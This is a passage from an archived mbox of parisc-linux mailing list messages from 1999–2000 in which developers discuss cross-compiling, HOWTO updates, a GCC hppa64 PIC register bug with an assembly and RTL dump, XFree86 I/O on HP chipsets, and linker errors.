= > Those of us still cross compiling are using x86-linux hosts.
= 
= Wonderful, that makes it a lot easier...		Thanks,
= 
= ----------------------------------------------------------------
=         Jorge L. deLyra,  Associate Professor of Physics
=             The University of Sao Paulo,  IFUSP-DFMA
=        For more information: finger delyra@latt.if.usp.br
= ----------------------------------------------------------------
= 
= ---------------------------------------------------------------------------
= To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
= `unsubscribe' as the subject.
= 
= 
= 


From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 18:39:45 -0500
Organization: The Puffins at Linuxcare
Lines: 26
Approved: news@gmane.org
Message-ID: <3A26E541.C6A24350@linuxcare.com>
References: <200011302245.OAA29965@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619373 7377 80.91.229.3 (22 Nov 2014 01:22:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:53 +0000 (UTC)
Cc: "Jorge L. deLyra" <delyra@latt.if.usp.br>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@linuxcare.com  Thu Nov 30 16:38:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA03923
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 16:37:59 -0700
Original-Received: (qmail 19835 invoked by uid 15267); 30 Nov 2000 23:40:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14944 invoked from network); 30 Nov 2000 23:37:50 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 23:37:50 -0000
Original-Received: (qmail 25222 invoked from network); 30 Nov 2000 23:37:50 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 30 Nov 2000 23:37:50 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8708

Grant Grundler wrote:
> "Jorge L. deLyra" wrote:
> > It is on the nfsroot howto linked from the home page of the project:
> > http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/02-Feb/0069.html
> 
> Ok. I'm not going to touch the archives.
> I can update the link if someone provides the content.
> Any volunteers to rewrite the NFS root howto and bring it up to date?

Yes!  I'm redoing the FAQ, and will make sure it all gets a review.

However, I don't actually know that NFS Root needs to be included in the
parisc-linux specific documentation, since we don't have to use nfsroot
anymore.  There's a generic NFSROOT HOWTO we can refer to.

We really only put that in there for when we couldn't write to our local
disks.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 18:48:38 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200011302348.SAA19055@hiauly1.hia.nrc.ca>
References: <3A26E541.C6A24350@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619373 7381 80.91.229.3 (22 Nov 2014 01:22:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:53 +0000 (UTC)
Cc: grundler@cup.hp.com, delyra@latt.if.usp.br,
        parisc-linux@thepuffingroup.com
To: adevries@linuxcare.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Nov 30 16:53:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA04524
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 16:53:00 -0700
Original-Received: (qmail 11360 invoked by uid 15267); 30 Nov 2000 23:55:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6809 invoked from network); 30 Nov 2000 23:53:07 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 23:53:07 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA19055;
	Thu, 30 Nov 2000 18:48:39 -0500 (EST)
In-Reply-To: <3A26E541.C6A24350@linuxcare.com> from "Alex deVries" at Nov 30, 2000 06:39:45 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8709

> > Ok. I'm not going to touch the archives.
> > I can update the link if someone provides the content.
> > Any volunteers to rewrite the NFS root howto and bring it up to date?
> 
> Yes!  I'm redoing the FAQ, and will make sure it all gets a review.

The configure and build for glibc needs updating.  The compiler to
use has to be set with the environment variable CC or by some other
means.  There are also some configure parameters like --PREFIX which
should be lower case.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa reload problem
Date: Fri, 1 Dec 2000 11:23:42 +1100 (EST)
Lines: 48
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012011102290.2814-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619373 7388 80.91.229.3 (22 Nov 2014 01:22:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:53 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Jeffrey A Law <law@cygnus.com>
Original-X-From: alan@linuxcare.com.au  Thu Nov 30 17:30:41 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA05238
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 17:30:40 -0700
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by atlrel1.hp.com (Postfix) with SMTP id A7963A11
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 19:33:08 -0500 (EST)
Original-Received: (qmail 12044 invoked by uid 15267); 1 Dec 2000 00:24:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11975 invoked from network); 1 Dec 2000 00:24:04 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 00:24:04 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA08568;
	Fri, 1 Dec 2000 11:23:42 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8710

Hi Dave, Jeff,
  This little testcase triggers a bug on hppa64.  It's been around for
quite a while, so it's not something due to Dave's recent changes.

*******
extern void foo (int);
extern unsigned int cpu_hz;

int hppa_dp_bug (void)
{
  foo (42);
  return (5 * ((unsigned long)cpu_hz / 1000000UL));
}
*******

-O2 generates code like

        b,l foo,%r2
        copy %r27,%r4
        addil LT'cpu_hz,%r4	! know r27 trashed in call, so use r4
        ldd RT'cpu_hz(%r1),%r1
        ldd -144(%r30),%r2
        ldw 0(%r1),%r19
        addil LT'L$C0000,%r27	! oops, should be using r4
        ldd RT'L$C0000(%r1),%r1

The bad code codes from config/pa/pa.c:legitimize_pic_address

  if (GET_CODE (orig) == SYMBOL_REF)
    {
      if (reg == 0)
	abort ();

      if (flag_pic == 2)
	{
	  emit_move_insn (reg,
			  gen_rtx_PLUS (word_mode, pic_offset_table_rtx,
					gen_rtx_HIGH (word_mode, orig)));

To fix the problem, it seems to me that we should be testing whether
pic_offset_table_rtx is valid at this point, and if not, use the saved reg
instead.  I'm not exactly sure how to go about testing whether r27 is
valid here, and I'm sure one of you can point me in the right direction.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] time_t, size_t, off_t, ...
Date: Fri, 1 Dec 2000 12:07:29 +1100 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012011205310.2814-100000@front.linuxcare.com.au>
References: <E141Zid-00049i-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619374 7604 80.91.229.3 (22 Nov 2014 01:22:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:54 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu Nov 30 18:07:08 2000
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA05973
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 18:07:05 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA09613;
	Fri, 1 Dec 2000 12:07:29 +1100
In-Reply-To: <E141Zid-00049i-00@noam.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8711

On Thu, 30 Nov 2000, Paul Bame wrote:

> (6)	Debugger is going to care about structs in elf.h, which are not
> 	identical narrow and wide at the present time.

I'm more concerned about the fact that quite a few registers of interest
are missing from elf_gregset_t

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is there any sqlnet for Linux on HP
Date: Thu, 30 Nov 2000 19:19:09 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20001130191909.D18385@tausq.org>
References: <5.0.0.25.0.20001130125058.00b02970@mail.webcash.com> <3A26C612.2A44AE6@linuxcare.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619374 7654 80.91.229.3 (22 Nov 2014 01:22:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:54 +0000 (UTC)
Cc: Kailashnath V Rampure <kailasr@webcash.com>,
        parisc-linux@thepuffingroup.com, bame@noam.fc.hp.com,
        grundler@cup.hp.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: randolph@tausq.org  Thu Nov 30 19:29:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA06940
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 19:29:29 -0700
Original-Received: (qmail 14085 invoked by uid 15267); 1 Dec 2000 02:30:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14061 invoked from network); 1 Dec 2000 02:30:56 -0000
Original-Received: from phnxpop5.phnx.uswest.net (206.80.192.5)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 02:30:56 -0000
Original-Received: (qmail 47598 invoked by alias); 1 Dec 2000 02:24:14 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 34414 invoked by uid 0); 1 Dec 2000 02:19:13 -0000
Original-Received: from bdslppp88.phnx.uswest.net (HELO gandalf.tausq.org) (216.160.217.88)
  by phnxpop5.phnx.uswest.net with SMTP; 1 Dec 2000 02:19:13 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 141fn3-0007lL-00; Thu, 30 Nov 2000 19:19:09 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3A26C612.2A44AE6@linuxcare.com>; from adevries@linuxcare.com on Thu, Nov 30, 2000 at 04:26:42PM -0500
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8712

> I'm assuming you mean HP PA-RISC Linux, not HP IA32/64 Linux.
> 
> No.  The only applications right now for parisc-linux are open source
> ones, and we haven't touched any SQL client libraries.
> 
> Conceivably the DBI stuff should work, but I don't think anyone's really
> tried.

presumably the DBD Oracle library still links the the oracle sqlnet
libraries, so i doubt this will work.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Fri, 1 Dec 2000 01:12:26 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200012010612.BAA17871@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0012011102290.2814-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619374 7657 80.91.229.3 (22 Nov 2014 01:22:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:54 +0000 (UTC)
Cc: law@cygnus.com, rhirst@linuxcare.com, parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Nov 30 23:10:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA08185
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 23:10:14 -0700
Original-Received: (qmail 16155 invoked by uid 15267); 1 Dec 2000 06:12:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16148 invoked from network); 1 Dec 2000 06:12:42 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 06:12:42 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id BAA17871;
	Fri, 1 Dec 2000 01:12:28 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0012011102290.2814-100000@front.linuxcare.com.au> from "Alan Modra" at Dec 1, 2000 11:23:42 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8713

>         b,l foo,%r2
>         copy %r27,%r4
>         addil LT'cpu_hz,%r4	! know r27 trashed in call, so use r4
>         ldd RT'cpu_hz(%r1),%r1
>         ldd -144(%r30),%r2
>         ldw 0(%r1),%r19
>         addil LT'L$C0000,%r27	! oops, should be using r4
>         ldd RT'L$C0000(%r1),%r1

It looks to me like this happens because the register life analysis in
pass 13 decides that r27 (dp) is dead.  This causes combine to delete the
insn that restores r27 after the call to foo and use the value saved
in r4 as a proxy for dp.

(insn 16 14 21 (set (reg:DI 27 %r27)
        (reg:DI 4 %r4)) 123 {movstrsi_internal+11} (nil)
    (expr_list:REG_DEAD (reg:DI 4 %r4)
	(nil)))

(insn 21 16 23 (set (reg:DI 68)
	(plus:DI (reg:DI 27 %r27)
	    (high:DI (symbol_ref:DI ("cpu_hz"))))) 81 {post_std+3} (insn_list 16 (nil))
     (expr_list:REG_DEAD (reg:DI 27 %r27)
	(nil)))

The const_int's which follow haven't been expanded at this point.  Thus,
the life analysis can't tell that r27 is still needed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Fri, 1 Dec 2000 18:00:38 +1100 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012011737510.2814-100000@front.linuxcare.com.au>
References: <200012010612.BAA17871@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619375 7658 80.91.229.3 (22 Nov 2014 01:22:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:55 +0000 (UTC)
Cc: law@cygnus.com, rhirst@linuxcare.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Thu Nov 30 23:58:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA08874
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 23:58:46 -0700
Original-Received: (qmail 19981 invoked by uid 15267); 1 Dec 2000 07:01:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19971 invoked from network); 1 Dec 2000 07:01:14 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 07:01:14 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA20177;
	Fri, 1 Dec 2000 18:00:38 +1100
In-Reply-To: <200012010612.BAA17871@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8714

On Fri, 1 Dec 2000, John David Anglin wrote:

> >         b,l foo,%r2
> >         copy %r27,%r4
> >         addil LT'cpu_hz,%r4	! know r27 trashed in call, so use r4
> >         ldd RT'cpu_hz(%r1),%r1
> >         ldd -144(%r30),%r2
> >         ldw 0(%r1),%r19
> >         addil LT'L$C0000,%r27	! oops, should be using r4
> >         ldd RT'L$C0000(%r1),%r1
> 
> It looks to me like this happens because the register life analysis in
> pass 13 decides that r27 (dp) is dead.  This causes combine to delete the
> insn that restores r27 after the call to foo and use the value saved
> in r4 as a proxy for dp.

Yes.

> (insn 16 14 21 (set (reg:DI 27 %r27)
>         (reg:DI 4 %r4)) 123 {movstrsi_internal+11} (nil)
>     (expr_list:REG_DEAD (reg:DI 4 %r4)
> 	(nil)))
> 
> (insn 21 16 23 (set (reg:DI 68)
> 	(plus:DI (reg:DI 27 %r27)
> 	    (high:DI (symbol_ref:DI ("cpu_hz"))))) 81 {post_std+3} (insn_list 16 (nil))
>      (expr_list:REG_DEAD (reg:DI 27 %r27)
> 	(nil)))
> 
> The const_int's which follow haven't been expanded at this point.  Thus,
> the life analysis can't tell that r27 is still needed.

Exactly.  So how is the code in pa.c to know that PIC_OFFSET_TABLE_REGNUM 
has been clobbered - and should use PIC_OFFSET_TABLE_REGNUM_SAVED instead?
Using the saved version should be safe as it is a fixed reg.

Or is a better solution to simply ensure that r27 never dies?  I'm
thinking of ABI and (non-gnu) linker considerations.  eg. DLTIND21L relocs
not involving r27 may cause something to barf.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree status
Date: Thu, 30 Nov 2000 23:40:10 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <200012010740.XAA01023@milano.cup.hp.com>
References: <E141WIL-0007Ro-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619375 7663 80.91.229.3 (22 Nov 2014 01:22:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Fri Dec  1 00:37:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA09805
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Dec 2000 00:37:24 -0700
Original-Received: (qmail 17502 invoked by uid 15267); 1 Dec 2000 07:39:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17495 invoked from network); 1 Dec 2000 07:39:53 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 07:39:53 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 289D41058; Thu, 30 Nov 2000 23:39:48 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id XAA01023;
	Thu, 30 Nov 2000 23:40:15 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 30 Nov 2000 16:10:46 PST."
             <E141WIL-0007Ro-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8715

Alan Cox wrote:
> For I/O it seems that on things like the A180 the only way to do it is to use
> /dev/port and pread/pwrite the file handle for each port I/O.

Alan,
Why do you think only I/O port space can be used for XFree86?
Is the BIOS/x86 emulator wanting to talk to VGA registers the issue?

jsm tells me VGA MMIO lives at 0xA0000.
Dino only forwards 0xf0800000 through FF80_0000-1 to the PCI bus below.
(See section 7.9 "Accessing PCI Memory Space" in dino3.pdf).

jsm pointed out VGA MMIO is available on Astro/Ike chip sets.
I'm pretty sure this feature isn't used under HPUX.
Requires poking Astro to enable it.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linker errors
Date: Wed, 5 May 1999 01:29:47 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990505012802.22012I-100000@devserv.devel.redhat.com>
References: <Pine.LNX.3.96.990504211950.214A-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619375 7670 80.91.229.3 (22 Nov 2014 01:22:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kumar <kumar@ix.netcom.com>
Original-X-From: adevries@redhat.com  Wed Apr 28 21:46:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA15411
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Apr 1999 21:46:26 -0600
Original-Received: (qmail 30355 invoked by uid 15267); 5 May 1999 05:28:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30348 invoked from network); 5 May 1999 05:28:01 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 5 May 1999 05:28:01 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id BAA31968;
	Wed, 5 May 1999 01:29:47 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <Pine.LNX.3.96.990504211950.214A-100000@quark.ix.netcom.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8716


On Tue, 4 May 1999, Kumar wrote:
> I am getting following errors even from the latest binutils and
> parisc-linux-gcc. Are there any special LDFLAGS that one needs to use ?
> 						-pkd
> 
> parisc-linux-ld -L. -R 0x100000 -N -S rom_interface.o setup.o utils.o
> strutils.o bcopy.o main.o io.o -l milli -o vmlinux
> parisc-linux-ld: can not size stub section: Bad value
> rom_interface.o: In function `cout_putc':
> rom_interface.o($CODE$+0xe4): undefined reference to `$$dyncall'
> rom_interface.o: In function `bootdev_sread':
> rom_interface.o($CODE$+0xe0): undefined reference to `$$dyncall'
> rom_interface.o: In function `pdc_call':
> rom_interface.o($CODE$+0x118): undefined reference to `$$dyncall'
> main.o: In function `parisc_init':
> main.o($CODE$+0x208): undefined reference to `$$divU'
> make: *** [vmlinux] Error 1
> 

Hm.  I don't get this at all... it certainly links for me.  I do get a lot
of errors with the linker itself, but nothing fatal.

Are you using the pre-built cross compilers? If so, which ones?

- Alex


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree status
Date: Fri, 1 Dec 2000 12:55:59 +0000 (GMT)
Lines: 33
Approved: news@gmane.org
Message-ID: <E141pjO-0000Cr-00@the-village.bc.nu>
References: <200012010740.XAA01023@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619376 7677 80.91.229.3 (22 Nov 2014 01:22:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:56 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Fri Dec  1 06:03:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA16880
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Dec 2000 06:03:15 -0700
Original-Received: (qmail 17997 invoked by uid 15267); 1 Dec 2000 13:05:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17982 invoked from network); 1 Dec 2000 13:05:43 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 13:05:43 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 141pjO-0000Cr-00; Fri, 1 Dec 2000 12:56:02 +0000
In-Reply-To: <200012010740.XAA01023@milano.cup.hp.com> from "Grant Grundler" at Nov 30, 2000 11:40:10 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8717

> > For I/O it seems that on things like the A180 the only way to do it is to use
